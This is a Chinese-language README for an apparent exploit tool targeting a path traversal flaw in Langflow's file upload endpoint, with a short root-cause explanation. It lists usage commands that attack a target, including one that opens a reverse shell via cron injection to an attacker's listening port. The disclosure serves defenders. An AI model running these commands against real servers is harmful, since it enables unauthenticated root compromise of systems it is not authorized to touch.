Langflow 1.8.4 及更早版本未对 POST /api/v2/files 端点中的 filename 参数进行清理。攻击者可以利用路径遍历序列(../)将文件写入文件系统上的任意位置。结合 Langflow 默认的自动登录配置,该漏洞可在无需任何身份验证的情况下被利用,通过 cron 任务注入实现以 root 权限执行远程代码。
# 概念验证(将测试文件写入 /tmp/)
python3 exploit.py -t http://target:7860
# 使用凭据(如果自动登录已禁用)
python3 exploit.py -t http://target:7860 -u admin -p password
# 通过 cron 任务实现反向 Shell
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


src/backend/base/langflow/api/v2/files.py 中的 upload_user_file() 函数将 file.filename 直接传递给存储服务,未进行任何清理。LocalStorageService.save_file() 使用 folder_path / file_name 构造路径,无法阻止目录遍历。
本工具仅供授权安全测试和教育目的使用。仅可在您拥有或已获得明确测试许可的系统上使用。
Yahia Hamza - https://yh.do